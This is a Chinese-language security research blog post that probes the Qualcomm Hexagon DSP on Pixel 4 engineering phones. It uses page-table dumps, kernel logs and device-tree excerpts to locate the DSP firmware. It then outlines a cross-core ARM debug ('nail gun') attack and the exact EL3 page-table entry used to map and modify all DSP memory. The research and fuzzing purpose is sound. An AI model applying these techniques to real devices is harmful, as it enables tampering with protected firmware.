0x04000fc6
0x04000fc6
----------------------------------------------------------------------------------
XLAT16M(0x05000fc0)
XLAT16M(0x06000fc0)
XLAT16M(0x07000fc0)
XLAT64M(0x08000fc0) XLAT16M(0x08000fc0)
XLAT16M(0x09000fc0)
XLAT16M(0x0a000fc0)
XLAT16M(0x0b000fc0)
XLAT64M(0x0c000fc0) XLAT16M(0x0c000fc0)
XLAT16M(0x0d000fc0)
XLAT16M(0x0e000fc0)
XLAT16M(0x0f000fc0)
可以看到每个页表项重复出现4次,与文档中描述一致。
在尝试寻找页表寄存器时,我发现SDK的文档有以下描述:
One of the limitations of Memory Carveout is that it imposes the need to
allocate physically contiguous buffers on the HLOS memory. Therefore, HLOS has
to set-aside a portion of it's precious memory to be used exclusively by DSP.
This is inefficient as the memory is not fully utilized. To avoid this, some
Snapdragon devices contain an SMMU in between the Hexagon Processor and the
System Memory. The SMMU provides another translation layer and can be used to
scatter-gather physically discontiguous chunks of DDR memory, but present a
physically contiguous view to the Hexagon DSP processor.
这段话的意思是AP侧总要分配连续的物理内存给DSP,有时这是一种难以满足的要求。有的设备会在DSP芯片前面加上SMMU,SMMU可以将零散的(不连续的)物理地址映射到连续的虚拟地址上,此时DSP看到的是连续的“物理地址”(实际是SMMU给它营造的虚拟地址)。通过引入SMMU,AP可以分配零散的内存给DSP,从而提高了内存的使用效率。
SMMU的加入显然会限制DSP的访存能力:DSP看到的不再是物理地址,而是SMMU导出的虚拟地址。这意味着DSP每次访存都要经过SMMU的翻译。此时,即便我可以篡改DSP的页表,也无法逃离SMMU的牢笼(它们之间的关系类似hypervisor和kernel)。因此,上述想法仅在已有漏洞的情况下无法实现。
Fuzz方法
过去某段时间,国内二手机市场出现过谷歌Pixel 4工程机。这些工程机的Secure boot是关闭的,有意思的是它们可以安装谷歌发布的最新release版本系统。我过去研究过这种工程机,它存在着一种隐秘的攻击:钉枪攻击。简单来说这种攻击方式利用了ARM架构的调试特点:它支持核间调试。我可以在一台Pixel 4手机上完成自我调试,例如使用CPU1调试CPU2。有意思的是:我(位于EL1)可以使被调试的CPU进入EL3,以侵占的方式篡改EL3内存。实现这种攻击只需要能够加载AP侧内核module即可。
既然能够修改EL3内存,篡改Hexagon的内存应该不是难事。因为EL3是AP的最高权限级别,CPU在这个级别下理应能够看到所有内存。现在我需要做的就是找到Hexagon系统在内存中的位置。根据adsp.elf信息,我发现它的加载地址是0x8be00000。除了这种方法之外,也可以通过系统日志确定:
[ 0.000000] OF: reserved mem: initialized node adsp_region, compatible id shared-dma-pool
[ 0.000000] OF: reserved mem: initialized node pil_adsp_region, compatible id removed-dma-pool
[ 0.199925] platform 17300000.qcom,lpass: assigned reserved memory node pil_adsp_region
[ 0.202684] platform soc:qcom,msm-adsprpc-mem: assigned reserved memory node adsp_region
[ 0.319148] platform soc:qcom,ion:qcom,ion-heap@22: assigned reserved memory node adsp_region
[ 0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000
[ 1.970219] ueventd: firmware: loading 'adsp.mdt' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt'
[ 1.970951] subsys-pil-tz 17300000.qcom,lpass: adsp: loading from 0x000000008be00000 to 0x000000008dc00000
[ 1.970981] ueventd: loading /devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt took 0ms
[ 1.985596] ueventd: firmware: loading 'adsp.b02' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b02'
[ 1.986466] ueventd: firmware: loading 'adsp.b03' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b03'
[ 1.987542] ueventd: firmware: loading 'adsp.b04' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b04'
[ 1.988877] ueventd: firmware: loading 'adsp.b05' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b05'
[ 1.989899] ueventd: firmware: loading 'adsp.b06' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b06'
[ 1.995780] ueventd: firmware: loading 'adsp.b07' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b07'
[ 1.996943] ueventd: firmware: loading 'adsp.b08' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b08'
[ 1.998560] ueventd: firmware: loading 'adsp.b09' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b09'
[ 2.009371] ueventd: firmware: loading 'adsp.b10' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b10'
[ 2.015330] ueventd: firmware: loading 'adsp.b11' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b11'
[ 2.018807] ueventd: firmware: loading 'adsp.b12' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b12'
[ 2.021092] ueventd: firmware: loading 'adsp.b13' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b13'
[ 2.098162] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for cdsp
[ 2.148304] subsys-pil-tz 17300000.qcom,lpass: adsp: Brought out of reset
[ 2.159687] subsys-pil-tz 17300000.qcom,lpass: adsp: Power/Clock ready interrupt received
[ 2.164244] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for adsp
[ 2.165704] apr_tal_rpmsg qcom,glink:adsp.apr_audio_svc.-1.-1: apr_tal_rpmsg_probe: Channel[apr_audio_svc] state[Up]
[ 2.291440] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for slpi
[ 3.295849] sysmon-qmi: ssctl_new_server: Connection established between QMI handle and adsp's SSCTL service
[ 3.366099] ADSPRPC: audio_pdr_adsprpc is uninitialzed
[ 3.368962] apr_adsp_up: Q6 is Up
从日志中可以发现ADSP固件加载地址同样是0x000000008be00000。还有一种方法是从device tree中查找相关信息,device tree其实指示了DSP系统加载位置,内核根据它的指示完成加载(lpass:Low Power Audio Subsystem):
reserved-memory {
24821 pil_adsp_region {
24822 compatible = "removed-dma-pool";
24823 no-map;
24824 reg = <0x00 0x8be00000 0x00 0x1a00000>;
24825 linux,phandle = <0x7b>;
24826 phandle = <0x7b>;
24827 };
24915 adsp_region {
24916 compatible = "shared-dma-pool";
24917 alloc-ranges = <0x00 0x00 0x00 0xffffffff>;
24918 reusable;
24919 alignment = <0x00 0x400000>;
24920 size = <0x00 0x1000000>;
24921 linux,phandle = <0xb1>;
24922 phandle = <0xb1>;
24923 };
}
pil_adsp_mem = "/reserved-memory/pil_adsp_region";
adsp_mem = "/reserved-memory/adsp_region";
fastrpc_buf_alloc
soc {
3497 qcom,lpass@17300000 {
3498 compatible = "qcom,pil-tz-generic";
3499 reg = <0x17300000 0x100>;
3500 vdd_cx-supply = <0x20>;
3501 qcom,vdd_cx-uV-uA = <0x181 0x00>;
3502 qcom,proxy-reg-names = "vdd_cx";
3503 clocks = <0x25 0x00>;
3504 clock-names = "xo";
3505 qcom,proxy-clock-names = "xo";
3506 qcom,pas-id = <0x01>;
3507 qcom,proxy-timeout-ms = <0x2710>;
3508 qcom,smem-id = <0x1a7>;
3509 qcom,sysmon-id = <0x01>;
3510 qcom,ssctl-instance-id = <0x14>;
3511 qcom,firmware-name = "adsp";
3512 memory-region = <0x7b>;
3513 qcom,signal-aop;
3514 qcom,complete-ramdump;
3515 interrupts-extended = <0x01 0x00 0xa2 0x01 0x7c 0x00 0x00 0x7c 0x02 0x00 0x7c 0x01 0x00 0x7c 0x03 0x00 0x7c 0x07 0x00>;
3516 interrupt-names = "qcom,wdog\0qcom,err-fatal\0qcom,proxy-unvote\0qcom,err-ready\0qcom,stop-ack\0qcom,shutdown-ack";
3517 qcom,smem-states = <0x7d 0x00>;
3518 qcom,smem-state-names = "qcom,force-stop";
3519 mboxes = <0x1f 0x00>;
3520 mbox-names = "adsp-pil";
3521 };
}
其中pil_adsp_region用来存放ADSP代码,”removed-dma-pool”表示这部分内存完全被ADSP占据。no-map表示内核不能映射该地址。而adsp_region是内核用来与DSP进行通信的共享内存,它指定内核保留16M(0x1000000)内存,”shared-dma-pool”表示这段内存不是ADSP独享的,内核也可以使用空余内存。内核日志中有如下分配与之对应(?):
[ 0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000
qcom,lpass@17300000指示了固件adsp(qcom,firmware-name=”adsp”)加载到0x7b表示的内存处(memory-region = <0x7b>),而pil_adsp_region的phandle是0x7b。 从以上信息可以确认adsp加载地址是0x8be00000。
映射Hexagon内存到EL3
我编写了相关工具来解析EL3的页表。我发现EL3并没有映射Hexagon内存。因此,我需要手动映射Hexagon到EL3。EL3的t0sz是36,根据ARMv8手册,ttbr寄存器指向level1页表,该页表支持Block类型的映射,格式如下:
| 63 50 | 49 48 | 47 30 | 29 17 | 16 | 15 12 | 11 2 | 1 | 0 |
| Upper block attributes | RES0 | Output address[47:30] | RES0 | nT | RES0 | Lower block attributes | 0 | 1 |
Lower block attributes格式如下:
Lower block attributes:
| 11 | 10 | 9 8 | 7 6 | 5 | 4 2 | 1 | 0 |
| nG | AF | SH | AP | NS | AttrIndx | 0 | 1 |
| 0 | 0 | 0 0 | 1 0 | 0 | 0 0 1 | 0 | 1 |
level1页表映射粒度是1GB,因此0x8be00000的起始地址是0x80000000,页表项是0x80000705。建立好映射后,我可以通过EL3来读写Hexagon所有内存,包括supervisor、QuRT和应用。
借助钉枪攻击,我可以修改Hexagon的所有代码。这种方法为Fuzz提供了强大的基础支持。同时,它和其他已知方法一样,存在着显而易见的限制。这里无意于比较孰优孰劣,只是想分享下我找到的新方法。
总结
Hexagon是一个非常复杂的系统。由于缺少相关资料,相关研究进展缓慢。这篇博客公开了我的一些发现,希望能够为后来者提供些许帮助。
原文始发于360漏洞研究院 姚俊(2freeman):攻击DSP:揭开高通Hexagon的神秘面纱